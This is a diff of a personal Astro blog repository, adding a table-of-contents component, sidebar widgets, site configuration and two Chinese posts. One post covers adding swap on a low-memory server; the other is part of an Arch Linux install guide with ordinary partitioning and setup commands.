||||
activeIndicator: HTMLElement | null = null;
|
||||
|
||||
constructor() {
|
||||
super();
|
||||
this.observer = new IntersectionObserver(
|
||||
this.markVisibleSection, { threshold: 0 }
|
||||
);
|
||||
};
|
||||
|
||||
markVisibleSection = (entries: IntersectionObserverEntry[]) => {
|
||||
entries.forEach((entry) => {
|
||||
const id = entry.target.children[0]?.getAttribute("id");
|
||||
const idx = id ? this.headingIdxMap.get(id) : undefined;
|
||||
if (idx != undefined)
|
||||
this.active[idx] = entry.isIntersecting;
|
||||
|
||||
if (entry.isIntersecting && this.anchorNavTarget == entry.target.firstChild)
|
||||
this.anchorNavTarget = null;
|
||||
});
|
||||
|
||||
if (!this.active.includes(true))
|
||||
this.fallback();
|
||||
this.update();
|
||||
};
|
||||
|
||||
toggleActiveHeading = () => {
|
||||
let i = this.active.length - 1;
|
||||
let min = this.active.length - 1, max = -1;
|
||||
while (i >= 0 && !this.active[i]) {
|
||||
this.tocEntries[i].classList.remove(this.visibleClass);
|
||||
i--;
|
||||
}
|
||||
while (i >= 0 && this.active[i]) {
|
||||
this.tocEntries[i].classList.add(this.visibleClass);
|
||||
min = Math.min(min, i);
|
||||
max = Math.max(max, i);
|
||||
i--;
|
||||
}
|
||||
while (i >= 0) {
|
||||
this.tocEntries[i].classList.remove(this.visibleClass);
|
||||
i--;
|
||||
}
|
||||
if (min > max) {
|
||||
this.activeIndicator?.setAttribute("style", `opacity: 0`);
|
||||
} else {
|
||||
let parentOffset = this.tocEl?.getBoundingClientRect().top || 0;
|
||||
let scrollOffset = this.tocEl?.scrollTop || 0;
|
||||
let top = this.tocEntries[min].getBoundingClientRect().top - parentOffset + scrollOffset;
|
||||
let bottom = this.tocEntries[max].getBoundingClientRect().bottom - parentOffset + scrollOffset;
|
||||
this.activeIndicator?.setAttribute("style", `top: ${top}px; height: ${bottom - top}px`);
|
||||
}
|
||||
};
|
||||
|
||||
scrollToActiveHeading = () => {
|
||||
// If the TOC widget can accommodate both the topmost
|
||||
// and bottommost items, scroll to the topmost item.
|
||||
// Otherwise, scroll to the bottommost one.
|
||||
|
||||
if (this.anchorNavTarget || !this.tocEl) return;
|
||||
const activeHeading =
|
||||
document.querySelectorAll<HTMLDivElement>(`#toc .${this.visibleClass}`);
|
||||
if (!activeHeading.length) return;
|
||||
|
||||
const topmost = activeHeading[0];
|
||||
const bottommost = activeHeading[activeHeading.length - 1];
|
||||
const tocHeight = this.tocEl.clientHeight;
|
||||
|
||||
let top;
|
||||
if (bottommost.getBoundingClientRect().bottom -
|
||||
topmost.getBoundingClientRect().top < 0.9 * tocHeight)
|
||||
top = topmost.offsetTop - 32;
|
||||
else
|
||||
top = bottommost.offsetTop - tocHeight * 0.8;
|
||||
|
||||
this.tocEl.scrollTo({
|
||||
top,
|
||||
left: 0,
|
||||
behavior: "smooth",
|
||||
});
|
||||
};
|
||||
|
||||
update = () => {
|
||||
requestAnimationFrame(() => {
|
||||
this.toggleActiveHeading();
|
||||
// requestAnimationFrame(() => {
|
||||
this.scrollToActiveHeading();
|
||||
// });
|
||||
});
|
||||
};
|
||||
|
||||
fallback = () => {
|
||||
if (!this.sections.length) return;
|
||||
|
||||
for (let i = 0; i < this.sections.length; i++) {
|
||||
let offsetTop = this.sections[i].getBoundingClientRect().top;
|
||||
let offsetBottom = this.sections[i].getBoundingClientRect().bottom;
|
||||
|
||||
if (this.isInRange(offsetTop, 0, window.innerHeight)
|
||||
|| this.isInRange(offsetBottom, 0, window.innerHeight)
|
||||
|| (offsetTop < 0 && offsetBottom > window.innerHeight)) {
|
||||
this.markActiveHeading(i);
|
||||
}
|
||||
else if (offsetTop > window.innerHeight) break;
|
||||
}
|
||||
};
|
||||
|
||||
markActiveHeading = (idx: number)=> {
|
||||
this.active[idx] = true;
|
||||
};
|
||||
|
||||
handleAnchorClick = (event: Event) => {
|
||||
const anchor = event
|
||||
.composedPath()
|
||||
.find((element) => element instanceof HTMLAnchorElement);
|
||||
|
||||
if (anchor) {
|
||||
const id = decodeURIComponent(anchor.hash?.substring(1));
|
||||
const idx = this.headingIdxMap.get(id);
|
||||
if (idx !== undefined) {
|
||||
this.anchorNavTarget = this.headings[idx];
|
||||
} else {
|
||||
this.anchorNavTarget = null;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
isInRange(value: number, min: number, max: number) {
|
||||
return min < value && value < max;
|
||||
};
|
||||
|
||||
connectedCallback() {
|
||||
// wait for the onload animation to finish, which makes the `getBoundingClientRect` return correct values
|
||||
const element = document.querySelector('.prose');
|
||||
if (element) {
|
||||
element.addEventListener('animationend', () => {
|
||||
this.init();
|
||||
}, { once: true });
|
||||
} else {
|
||||
console.debug('Animation element not found');
|
||||
}
|
||||
};
|
||||
|
||||
init() {
|
||||
this.tocEl = document.getElementById(
|
||||
"toc-inner-wrapper"
|
||||
);
|
||||
|
||||
if (!this.tocEl) return;
|
||||
|
||||
this.tocEl.addEventListener("click", this.handleAnchorClick, {
|
||||
capture: true,
|
||||
});
|
||||
|
||||
this.activeIndicator = document.getElementById("active-indicator");
|
||||
|
||||
this.tocEntries = Array.from(
|
||||
document.querySelectorAll<HTMLAnchorElement>("#toc a[href^='#']")
|
||||
);
|
||||
|
||||
if (this.tocEntries.length === 0) return;
|
||||
|
||||
this.sections = new Array(this.tocEntries.length);
|
||||
this.headings = new Array(this.tocEntries.length);
|
||||
for (let i = 0; i < this.tocEntries.length; i++) {
|
||||
const id = decodeURIComponent(this.tocEntries[i].hash?.substring(1));
|
||||
const heading = document.getElementById(id);
|
||||
const section = heading?.parentElement;
|
||||
if (heading instanceof HTMLElement && section instanceof HTMLElement) {
|
||||
this.headings[i] = heading;
|
||||
this.sections[i] = section;
|
||||
this.headingIdxMap.set(id, i);
|
||||
}
|
||||
}
|
||||
this.active = new Array(this.tocEntries.length).fill(false);
|
||||
|
||||
this.sections.forEach((section) =>
|
||||
this.observer.observe(section)
|
||||
);
|
||||
|
||||
this.fallback();
|
||||
this.update();
|
||||
};
|
||||
|
||||
disconnectedCallback() {
|
||||
this.sections.forEach((section) =>
|
||||
this.observer.unobserve(section)
|
||||
);
|
||||
this.observer.disconnect();
|
||||
this.tocEl?.removeEventListener("click", this.handleAnchorClick);
|
||||
};
|
||||
}
|
||||
|
||||
if (!customElements.get("table-of-contents")) {
|
||||
customElements.define("table-of-contents", TableOfContents);
|
||||
}
|
||||
</script>
|
||||
31
src/components/widget/Tags.astro
Normal file
31
src/components/widget/Tags.astro
Normal file
@ -0,0 +1,31 @@
|
||||
---
|
||||
|
||||
import I18nKey from "../../i18n/i18nKey";
|
||||
import { i18n } from "../../i18n/translation";
|
||||
import { getTagList } from "../../utils/content-utils";
|
||||
import { getTagUrl } from "../../utils/url-utils";
|
||||
import ButtonTag from "../control/ButtonTag.astro";
|
||||
import WidgetLayout from "./WidgetLayout.astro";
|
||||
|
||||
const tags = await getTagList();
|
||||
|
||||
const COLLAPSED_HEIGHT = "7.5rem";
|
||||
|
||||
const isCollapsed = tags.length >= 20;
|
||||
|
||||
interface Props {
|
||||
class?: string;
|
||||
style?: string;
|
||||
}
|
||||
const className = Astro.props.class;
|
||||
const style = Astro.props.style;
|
||||
---
|
||||
<WidgetLayout name={i18n(I18nKey.tags)} id="tags" isCollapsed={isCollapsed} collapsedHeight={COLLAPSED_HEIGHT} class={className} style={style}>
|
||||
<div class="flex gap-2 flex-wrap">
|
||||
{tags.map(t => (
|
||||
<ButtonTag href={getTagUrl(t.name)} label={`View all posts with the ${t.name.trim()} tag`}>
|
||||
{t.name.trim()}
|
||||
</ButtonTag>
|
||||
))}
|
||||
</div>
|
||||
</WidgetLayout>
|
||||
60
src/components/widget/WidgetLayout.astro
Normal file
60
src/components/widget/WidgetLayout.astro
Normal file
@ -0,0 +1,60 @@
|
||||
---
|
||||
import { Icon } from "astro-icon/components";
|
||||
import I18nKey from "../../i18n/i18nKey";
|
||||
import { i18n } from "../../i18n/translation";
|
||||
|
||||
interface Props {
|
||||
id: string;
|
||||
name?: string;
|
||||
isCollapsed?: boolean;
|
||||
collapsedHeight?: string;
|
||||
class?: string;
|
||||
style?: string;
|
||||
}
|
||||
const { id, name, isCollapsed, collapsedHeight, style } = Astro.props;
|
||||
const className = Astro.props.class;
|
||||
---
|
||||
<widget-layout data-id={id} data-is-collapsed={String(isCollapsed)} class={"pb-4 card-base " + className} style={style}>
|
||||
<div class="font-bold transition text-lg text-neutral-900 dark:text-neutral-100 relative ml-8 mt-4 mb-2
|
||||
before:w-1 before:h-4 before:rounded-md before:bg-[var(--primary)]
|
||||
before:absolute before:left-[-16px] before:top-[5.5px]">{name}</div>
|
||||
<div id={id} class:list={["collapse-wrapper px-4 overflow-hidden", {"collapsed": isCollapsed}]}>
|
||||
<slot></slot>
|
||||
</div>
|
||||
{isCollapsed && <div class="expand-btn px-4 -mb-2">
|
||||
<button class="btn-plain rounded-lg w-full h-9">
|
||||
<div class="text-[var(--primary)] flex items-center justify-center gap-2 -translate-x-2">
|
||||
<Icon name="material-symbols:more-horiz" class="text-[1.75rem]"></Icon> {i18n(I18nKey.more)}
|
||||
</div>
|
||||
</button>
|
||||
</div>}
|
||||
</widget-layout>
|
||||
|
||||
<style define:vars={{ collapsedHeight }}>
|
||||
.collapsed {
|
||||
height: var(--collapsedHeight);
|
||||
}
|
||||
</style>
|
||||
|
||||
<script>
|
||||
class WidgetLayout extends HTMLElement {
|
||||
constructor() {
|
||||
super();
|
||||
|
||||
if (this.dataset.isCollapsed !== "true")
|
||||
return;
|
||||
|
||||
const id = this.dataset.id;
|
||||
const btn = this.querySelector('.expand-btn');
|
||||
const wrapper = this.querySelector(`#${id}`)
|
||||
btn!.addEventListener('click', () => {
|
||||
wrapper!.classList.remove('collapsed');
|
||||
btn!.classList.add('hidden');
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
if (!customElements.get("widget-layout")) {
|
||||
customElements.define("widget-layout", WidgetLayout);
|
||||
}
|
||||
</script>
|
||||
95
src/config.ts
Normal file
95
src/config.ts
Normal file
@ -0,0 +1,95 @@
|
||||
import type {
|
||||
ExpressiveCodeConfig,
|
||||
LicenseConfig,
|
||||
NavBarConfig,
|
||||
ProfileConfig,
|
||||
SiteConfig,
|
||||
} from "./types/config";
|
||||
import { LinkPreset } from "./types/config";
|
||||
|
||||
export const siteConfig: SiteConfig = {
|
||||
title: "Atdunbg",
|
||||
subtitle: "^v^",
|
||||
lang: "zh_CN", // Language code, e.g. 'en', 'zh_CN', 'ja', etc.
|
||||
themeColor: {
|
||||
hue: 250, // Default hue for the theme color, from 0 to 360. e.g. red: 0, teal: 200, cyan: 250, pink: 345
|
||||
fixed: false, // Hide the theme color picker for visitors
|
||||
},
|
||||
banner: {
|
||||
enable: false,
|
||||
src: "https://hexoimage.pages.dev/file/089291f3f0192bb92a1ce.jpg", // src: "assets/images/demo-banner.png", // Relative to the /src directory. Relative to the /public directory if it starts with '/'
|
||||
position: "center", // Equivalent to object-position, only supports 'top', 'center', 'bottom'. 'center' by default
|
||||
credit: {
|
||||
enable: false, // Display the credit text of the banner image
|
||||
text: "", // Credit text to be displayed
|
||||
url: "", // (Optional) URL link to the original artwork or artist's page
|
||||
},
|
||||
},
|
||||
toc: {
|
||||
enable: true, // Display the table of contents on the right side of the post
|
||||
depth: 3, // Maximum heading depth to show in the table, from 1 to 3
|
||||
},
|
||||
favicon: [
|
||||
// Leave this array empty to use the default favicon
|
||||
// {
|
||||
// src: '/favicon/icon.png', // Path of the favicon, relative to the /public directory
|
||||
// theme: 'light', // (Optional) Either 'light' or 'dark', set only if you have different favicons for light and dark mode
|
||||
// sizes: '32x32', // (Optional) Size of the favicon, set only if you have favicons of different sizes
|
||||
// }
|
||||
],
|
||||
};
|
||||
|
||||
export const navBarConfig: NavBarConfig = {
|
||||
links: [
|
||||
LinkPreset.Home,
|
||||
LinkPreset.Archive,
|
||||
LinkPreset.About,
|
||||
{
|
||||
name: "Gitea",
|
||||
url: "https://gitea.atdunbg.xyz/atdunbg", // Internal links should not include the base path, as it is automatically added
|
||||
external: true, // Show an external link icon and will open in a new tab
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
export const profileConfig: ProfileConfig = {
|
||||
avatar: "assets/images/demo-avatar.png", // Relative to the /src directory. Relative to the /public directory if it starts with '/'
|
||||
name: "Atdunbg",
|
||||
bio: "一个又菜又爱学的技术小白",
|
||||
links: [
|
||||
// {
|
||||
// name: "Twitter",
|
||||
// icon: "fa6-brands:twitter", // Visit https://icones.js.org/ for icon codes
|
||||
// // You will need to install the corresponding icon set if it's not already included
|
||||
// // `pnpm add @iconify-json/<icon-set-name>`
|
||||
// url: "https://twitter.com",
|
||||
// },
|
||||
// {
|
||||
// name: "Steam",
|
||||
// icon: "fa6-brands:steam",
|
||||
// url: "https://store.steampowered.com",
|
||||
// },
|
||||
{
|
||||
name: "GitHub",
|
||||
icon: "fa6-brands:github",
|
||||
url: "https://github.com/atdunbg",
|
||||
},
|
||||
{
|
||||
name: "Gitea",
|
||||
icon: "fa6-brands:git",
|
||||
url: "https://gitea.atdunbg.xyz/atdunbg",
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
export const licenseConfig: LicenseConfig = {
|
||||
enable: true,
|
||||
name: "CC BY-NC-SA 4.0",
|
||||
url: "https://creativecommons.org/licenses/by-nc-sa/4.0/",
|
||||
};
|
||||
|
||||
export const expressiveCodeConfig: ExpressiveCodeConfig = {
|
||||
// Note: Some styles (such as background color) are being overridden, see the astro.config.mjs file.
|
||||
// Please select a dark theme, as this blog theme currently only supports dark background color
|
||||
theme: "github-dark",
|
||||
};
|
||||
17
src/constants/constants.ts
Normal file
17
src/constants/constants.ts
Normal file
@ -0,0 +1,17 @@
|
||||
export const PAGE_SIZE = 8;
|
||||
|
||||
export const LIGHT_MODE = "light",
|
||||
DARK_MODE = "dark",
|
||||
AUTO_MODE = "auto";
|
||||
export const DEFAULT_THEME = AUTO_MODE;
|
||||
|
||||
// Banner height unit: vh
|
||||
export const BANNER_HEIGHT = 35;
|
||||
export const BANNER_HEIGHT_EXTEND = 30;
|
||||
export const BANNER_HEIGHT_HOME = BANNER_HEIGHT + BANNER_HEIGHT_EXTEND;
|
||||
|
||||
// The height the main panel overlaps the banner, unit: rem
|
||||
export const MAIN_PANEL_OVERLAPS_BANNER_HEIGHT = 3.5;
|
||||
|
||||
// Page width: rem
|
||||
export const PAGE_WIDTH = 75;
|
||||
44
src/constants/icon.ts
Normal file
44
src/constants/icon.ts
Normal file
@ -0,0 +1,44 @@
|
||||
import type { Favicon } from "@/types/config.ts";
|
||||
|
||||
export const defaultFavicons: Favicon[] = [
|
||||
{
|
||||
src: "/favicon/favicon-light-32.png",
|
||||
theme: "light",
|
||||
sizes: "32x32",
|
||||
},
|
||||
{
|
||||
src: "/favicon/favicon-light-128.png",
|
||||
theme: "light",
|
||||
sizes: "128x128",
|
||||
},
|
||||
{
|
||||
src: "/favicon/favicon-light-180.png",
|
||||
theme: "light",
|
||||
sizes: "180x180",
|
||||
},
|
||||
{
|
||||
src: "/favicon/favicon-light-192.png",
|
||||
theme: "light",
|
||||
sizes: "192x192",
|
||||
},
|
||||
{
|
||||
src: "/favicon/favicon-dark-32.png",
|
||||
theme: "dark",
|
||||
sizes: "32x32",
|
||||
},
|
||||
{
|
||||
src: "/favicon/favicon-dark-128.png",
|
||||
theme: "dark",
|
||||
sizes: "128x128",
|
||||
},
|
||||
{
|
||||
src: "/favicon/favicon-dark-180.png",
|
||||
theme: "dark",
|
||||
sizes: "180x180",
|
||||
},
|
||||
{
|
||||
src: "/favicon/favicon-dark-192.png",
|
||||
theme: "dark",
|
||||
sizes: "192x192",
|
||||
},
|
||||
];
|
||||
18
src/constants/link-presets.ts
Normal file
18
src/constants/link-presets.ts
Normal file
@ -0,0 +1,18 @@
|
||||
import I18nKey from "@i18n/i18nKey";
|
||||
import { i18n } from "@i18n/translation";
|
||||
import { LinkPreset, type NavBarLink } from "@/types/config";
|
||||
|
||||
export const LinkPresets: { [key in LinkPreset]: NavBarLink } = {
|
||||
[LinkPreset.Home]: {
|
||||
name: i18n(I18nKey.home),
|
||||
url: "/",
|
||||
},
|
||||
[LinkPreset.About]: {
|
||||
name: i18n(I18nKey.about),
|
||||
url: "/about/",
|
||||
},
|
||||
[LinkPreset.Archive]: {
|
||||
name: i18n(I18nKey.archive),
|
||||
url: "/archive/",
|
||||
},
|
||||
};
|
||||
28
src/content/config.ts
Normal file
28
src/content/config.ts
Normal file
@ -0,0 +1,28 @@
|
||||
import { defineCollection, z } from "astro:content";
|
||||
|
||||
const postsCollection = defineCollection({
|
||||
schema: z.object({
|
||||
title: z.string(),
|
||||
published: z.date(),
|
||||
updated: z.date().optional(),
|
||||
draft: z.boolean().optional().default(false),
|
||||
description: z.string().optional().default(""),
|
||||
image: z.string().optional().default(""),
|
||||
tags: z.array(z.string()).optional().default([]),
|
||||
category: z.string().optional().nullable().default(""),
|
||||
lang: z.string().optional().default(""),
|
||||
|
||||
/* For internal use */
|
||||
prevTitle: z.string().default(""),
|
||||
prevSlug: z.string().default(""),
|
||||
nextTitle: z.string().default(""),
|
||||
nextSlug: z.string().default(""),
|
||||
}),
|
||||
});
|
||||
const specCollection = defineCollection({
|
||||
schema: z.object({}),
|
||||
});
|
||||
export const collections = {
|
||||
posts: postsCollection,
|
||||
spec: specCollection,
|
||||
};
|
||||
155
src/content/posts/aliyun-server-problem.md
Normal file
155
src/content/posts/aliyun-server-problem.md
Normal file
@ -0,0 +1,155 @@
|
||||
---
|
||||
title: 关于服务器BPS/IOPS过高问题解决
|
||||
published: 2025-11-16
|
||||
description: ''
|
||||
image: 'https://cdn.jsdelivr.net/gh/atdunbg/hexo_image_assets/images20251116230026021.png'
|
||||
tags: ["服务器"]
|
||||
category: '故障排除'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
|
||||
### 问题描述
|
||||
|
||||
|
||||
|
||||
> 配置: 2H2G
|
||||
>
|
||||
> 问题:服务器`BPS/IOPS` 一直处于高负载状态,系统一直在频繁与磁盘交换数据
|
||||
>
|
||||
> 造成的结果:服务器无法连接,服务器的服务全部失去连接,控制台无法通过普通重启来重启服务器,只能强制重启或关闭
|
||||
>
|
||||
> 原因分析:运行内存不足导致,由于内存不够系统需要频繁的与磁盘不停的交换数据,占用了大量的IO。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
### 解决办法1
|
||||
|
||||
升级配置,最简单最简单最无脑。
|
||||
|
||||
|
||||
|
||||
### 解决办法2
|
||||
|
||||
通过拓展swap分区来缓解此问题
|
||||
|
||||
|
||||
|
||||
#### 查看系统的swap分区情况
|
||||
|
||||
通过`swapon`查看
|
||||
|
||||
```bash
|
||||
swapon --show
|
||||
```
|
||||
|
||||
我这里没有任何输出,说明根本不存在swap分区。
|
||||
|
||||
|
||||
|
||||
通过free看一下运行内存情况。
|
||||
|
||||
```bash
|
||||
free -h
|
||||
```
|
||||
|
||||
这里也可以看到swap全是0
|
||||
|
||||
```txt
|
||||
total used free shared buff/cache available
|
||||
Mem: 1.6Gi 831Mi 242Mi 1.8Mi 752Mi 844Mi
|
||||
Swap: 0 0 0
|
||||
```
|
||||
|
||||
|
||||
|
||||
#### 创建并配置swap
|
||||
|
||||
创建并启用一个swap (<span style="background-color: red;">注</span>:以下操作均需要<span style="color: red;">root</span>权限)
|
||||
|
||||
```bash
|
||||
# 创建 swap 文件
|
||||
fallocate -l 4G /swap
|
||||
|
||||
# 设置权限
|
||||
chmod 600 /swap
|
||||
|
||||
# 格式化为swap
|
||||
mkswap /swap
|
||||
|
||||
# 启用swap
|
||||
swapon /swap
|
||||
|
||||
# 永久添加到fstab
|
||||
echo '/swap none swap defaults 0 0' >> /etc/fstab
|
||||
```
|
||||
|
||||
|
||||
|
||||
#### 配置 swappiness
|
||||
|
||||
检查`swappiness`(取值范围为 0 - 100,数值越大,使用swap的可能性越大)
|
||||
|
||||
```bash
|
||||
cat /proc/sys/vm/swappiness
|
||||
|
||||
# 输出
|
||||
0
|
||||
```
|
||||
|
||||
我这里为0。
|
||||
|
||||
|
||||
|
||||
编辑 `/etc/sysctl.conf`将`vm.swappiness` 修改为20
|
||||
|
||||
```bash
|
||||
vim /etc/sysctl.conf
|
||||
|
||||
# 修改 vm.swappiness
|
||||
# vm.swappiness = 20
|
||||
```
|
||||
|
||||
|
||||
|
||||
#### 更新内核参数
|
||||
|
||||
更新内核参数,使`swappiness`配置生效
|
||||
|
||||
```bash
|
||||
sysctl -p
|
||||
```
|
||||
|
||||
|
||||
|
||||
### 验证结果
|
||||
|
||||
再次查看内存和swap情况
|
||||
|
||||
```bash
|
||||
# 查看swap
|
||||
swapon --show
|
||||
|
||||
#输出
|
||||
NAME TYPE SIZE USED PRIO
|
||||
/swap file 4G 547.6M -2
|
||||
|
||||
|
||||
# 查看内存
|
||||
free -h
|
||||
|
||||
# 输出
|
||||
total used free shared buff/cache available
|
||||
Mem: 1.6Gi 746Mi 665Mi 1.8Mi 414Mi 930Mi
|
||||
Swap: 4.0Gi 780Mi 3.2Gi
|
||||
```
|
||||
|
||||
515
src/content/posts/arch_install.md
Normal file
515
src/content/posts/arch_install.md
Normal file
@ -0,0 +1,515 @@
|
||||
---
|
||||
title: 记一次ArchLinux的安装过程
|
||||
published: 2023-03-27
|
||||
description: ''
|
||||
image: 'https://hexoimage.pages.dev/file/49f93be93d3b83ea337a5.png'
|
||||
tags: [Archlinux, Linux]
|
||||
category: 'Archlinux'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
## ArchLinux+KDE的安装过程
|
||||
|
||||
## 1. 1下载镜像文件
|
||||
|
||||
Archlinux的官网:[https://archlinux.org/ ](https://archlinux.org/)
|
||||
|
||||
点击Download
|
||||
|
||||
按照自身情况选择一个镜像源
|
||||
|
||||
国内推荐[清华源 ](https://mirrors.tuna.tsinghua.edu.cn/archlinux/iso/2023.04.01/)
|
||||
|
||||
下载iso镜像文件
|
||||
|
||||
## 1.2 **选择安装方式**
|
||||
|
||||
### 1.2.1本机安装
|
||||
|
||||
folding cyan,本机安装
|
||||
本机安装, 推荐用 [ventoy ](https://www.ventoy.net/cn/)制作U盘启动盘进行安装
|
||||
|
||||

|
||||
|
||||
#### (1).制作启动盘
|
||||
|
||||
- 准备一个大容量U盘(建议8G往上, 以后想装其他系统直接吧ISO文件复制到U盘里即可)
|
||||
- 确保U盘里没有重要文件(请提前备份好重要文件)
|
||||
|
||||

|
||||
|
||||
- 打开Ventoy2Disk.exe
|
||||
- 找到要制作的U盘, 点击开始安装即可
|
||||
|
||||
然后将archlinux的iso镜像复制在U盘中
|
||||
|
||||
#### (2).启动archlinux镜像
|
||||
|
||||
**启动电脑时按F2(不同电脑快捷键可能不同,请自行百度)**
|
||||
|
||||
然后选择U盘启动,进入ventoy,选择archlinux.
|
||||
|
||||
endfolding
|
||||
|
||||
### 1.2.2虚拟机安装
|
||||
|
||||
folding cyan,虚拟机安装
|
||||
|
||||
**此处演示的为 [VMware ](https://www.vmware.com/)虚拟机**
|
||||
|
||||
- 打开 VMware
|
||||
|
||||

|
||||
|
||||
- 选择新建虚拟机,选择典型(推荐)配置
|
||||
- 选择安装光盘映像文件(iso), 选择下载好的archlinux的ISO镜像.
|
||||
|
||||

|
||||
|
||||
- **下一步**
|
||||
- 操作系统选择Linux,内核选择 其他 Linux 5.x 内核 64 位.
|
||||
|
||||

|
||||
|
||||
- **下一步**
|
||||
|
||||
虚拟机名字和创建文字按照自己情况适当调整
|
||||
|
||||
- **下一步**
|
||||
|
||||
最大磁盘大小按照自己情况修改(我这里改为20GB)
|
||||
|
||||
选择 **将虚拟磁盘储存为单个文件**
|
||||
|
||||

|
||||
|
||||
- **下一步**
|
||||
- 点击**自定义硬件**, 修改此虚拟机的内存,我这里修改的为**4G**
|
||||
- 点击**完成**
|
||||
- 点击**编辑虚拟机设置**, 依次点击 **选项–>高级–>固件类型 中 选中UEFI模式**
|
||||
|
||||

|
||||
|
||||
**至此,虚拟机配置就完成了**
|
||||
|
||||
## 1.3安装archlinux
|
||||
|
||||
### 1.3.1进入镜像系统
|
||||
|
||||

|
||||
|
||||
首先 先禁用 **reflector服务**, 防止自动更新服务器列表
|
||||
|
||||
```bash
|
||||
systemctl stop reflector.service
|
||||
```
|
||||
|
||||
### 1.3.2**网络连接**, 有线网会自动连接, 请忽略此步
|
||||
|
||||
无线网连接
|
||||
|
||||
```bash
|
||||
#执行iwctl指令,进入交互式命令界面
|
||||
iwctl
|
||||
|
||||
#累出设备名,如无线网卡应看到wlan0
|
||||
device list
|
||||
|
||||
#用wlan0扫描网络
|
||||
station wlan0 scan
|
||||
|
||||
#列出网络
|
||||
station wlan0 get-networks
|
||||
|
||||
|
||||
# 连接指定无线网 输入密码
|
||||
station wlan0 connect [无线网名字]
|
||||
|
||||
#退出iwctl
|
||||
exit或者quit
|
||||
```
|
||||
|
||||
ping一下一个网站, 看看网络是否连接成功
|
||||
|
||||
```bash
|
||||
#例
|
||||
|
||||
ping www.baidu.com
|
||||
```
|
||||
|
||||
### 1.3.3同步网络时间
|
||||
|
||||
```bash
|
||||
timedatectl set-ntp true
|
||||
```
|
||||
|
||||
### 1.3.4修改软件源 把中国源放在前列
|
||||
|
||||
```bash
|
||||
# Ctrl+w 搜索指定文本
|
||||
# Ctrl+6 标记指定文本
|
||||
# Ctrl+k 剪切选中文本
|
||||
# Ctrl+u 粘贴文本
|
||||
# Ctrl+x 退出编辑
|
||||
|
||||
nano /etc/pacman.d/mirrorslist #打开镜像源配置文件,将中国的镜像源放置最前列
|
||||
```
|
||||
|
||||
### 1.3.5刷新但不更新软件包
|
||||
|
||||
```bash
|
||||
pacman -Syy
|
||||
```
|
||||
|
||||
### 1.3.6(可选操作)安装openssh
|
||||
|
||||
```bash
|
||||
#安装openssh远程软件
|
||||
pacman -S openssh
|
||||
|
||||
#启用sshd服务
|
||||
systemctl start sshd
|
||||
|
||||
#设置当前root密码
|
||||
passwd root
|
||||
|
||||
#查看ip地址
|
||||
ip a
|
||||
```
|
||||
|
||||
> - **使用ssh连接archlinux,方便复制粘贴命令**
|
||||
>
|
||||
> ```bash
|
||||
> ssh [ip地址]@root
|
||||
> #输入密码即可成功连接
|
||||
> ```
|
||||
|
||||
### 1.3.7磁盘分区
|
||||
|
||||
#### fdisk软件分区
|
||||
|
||||
```bash
|
||||
fdisk -l #查看磁盘列表
|
||||
```
|
||||
|
||||

|
||||
|
||||
```
|
||||
fdisk /dev/sda #对sda磁盘进行分区
|
||||
```
|
||||
|
||||
> - fdisk操作命令
|
||||
> - m: 帮助
|
||||
> - g(小写g): 创建GPT格式磁盘
|
||||
> - n: 创建分区
|
||||
> - p: 查看分区
|
||||
> - q: 不保存退出
|
||||
> - w: 保存并退出 所有操作在执行”w”前都不会生效
|
||||
|
||||

|
||||
|
||||
作为演示, 分以下四个分区
|
||||
|
||||
- 512MB的ESP启动分区
|
||||
- 2G的交换分区
|
||||
- 10G作为根目录/
|
||||
- 剩下的作为home目录
|
||||
|
||||

|
||||
|
||||
#### cfdisk软件分区
|
||||
|
||||
folding cyan,cfdisk软件分区
|
||||
|
||||
cfdisk分区软件操作比较简单,具体分区布局看下图
|
||||
|
||||

|
||||
|
||||
分好区后选择write并键入yes即可使分区生效
|
||||
|
||||
endfolding
|
||||
|
||||
> ```bash
|
||||
> fdisk -l #分好区后用此指令可以查看分区的状态
|
||||
> ```
|
||||
|
||||
### 1.3.8格式化磁盘
|
||||
|
||||
```bash
|
||||
#根据自己情况适当修改,不可照抄
|
||||
mkfs.vfat /dev/sda1
|
||||
|
||||
mkswap /dev/sda2
|
||||
|
||||
mkfs.ext4 /dev/sda3
|
||||
|
||||
mkfs.ext4 /dev/sda4
|
||||
|
||||
swapon /dev/sda2
|
||||
```
|
||||
|
||||
### 1.3.9挂载磁盘
|
||||
|
||||
```bash
|
||||
#挂载根目录/
|
||||
mount /dev/sda3 /mnt #必须先挂载根目录,才能再挂载其他目录
|
||||
|
||||
|
||||
#创建home,boot文件夹
|
||||
mkdir /mnt/home
|
||||
mkdir /mnt/boot
|
||||
|
||||
#挂载
|
||||
mount /dev/sda4 /mnt/home
|
||||
mount /dev/sda1 /mnt/boot
|
||||
```
|
||||
|
||||
### 1.3.10往/mnt里安装系统
|
||||
|
||||
最基础的四个包是: base base-devel linux linux-firmeware
|
||||
|
||||
其余的按自己需求安装
|
||||
|
||||
```bash
|
||||
pacstrap /mnt base base-devel linux linux-firmware dhcpcd iwd vim sudo bash-completion nano net-tools openssh man git wget zsh fish
|
||||
```
|
||||
|
||||
### 1.3.11生成fstab
|
||||
|
||||
```bash
|
||||
genfstab -U /mnt >> /mnt/etc/fstab
|
||||
```
|
||||
|
||||
- **查看是否成功生成**
|
||||
|
||||
```bash
|
||||
cat /mnt/etc/fstab
|
||||
```
|
||||
|
||||

|
||||
|
||||
### 1.3.12从live切换到刚安装的系统
|
||||
|
||||
```bash
|
||||
arch-chroot /mnt
|
||||
```
|
||||
|
||||
编辑**hostname**
|
||||
|
||||
```bash
|
||||
#我这里填写的arch
|
||||
|
||||
echo [arch] > /etc/hostname #将arch写入到/etc/hostname文件里
|
||||
|
||||
cat /etc/hostname #查看/etc/hostname文件里的内容
|
||||
```
|
||||
|
||||
编辑**hosts**
|
||||
|
||||
```bash
|
||||
#我这里名字是arch,可自行更改
|
||||
|
||||
nano /etc/hosts
|
||||
|
||||
#向hosts文件里添加以下内容
|
||||
127.0.0.1 localhost
|
||||
::1 localhost
|
||||
127.0.0.1 arch
|
||||
```
|
||||
|
||||
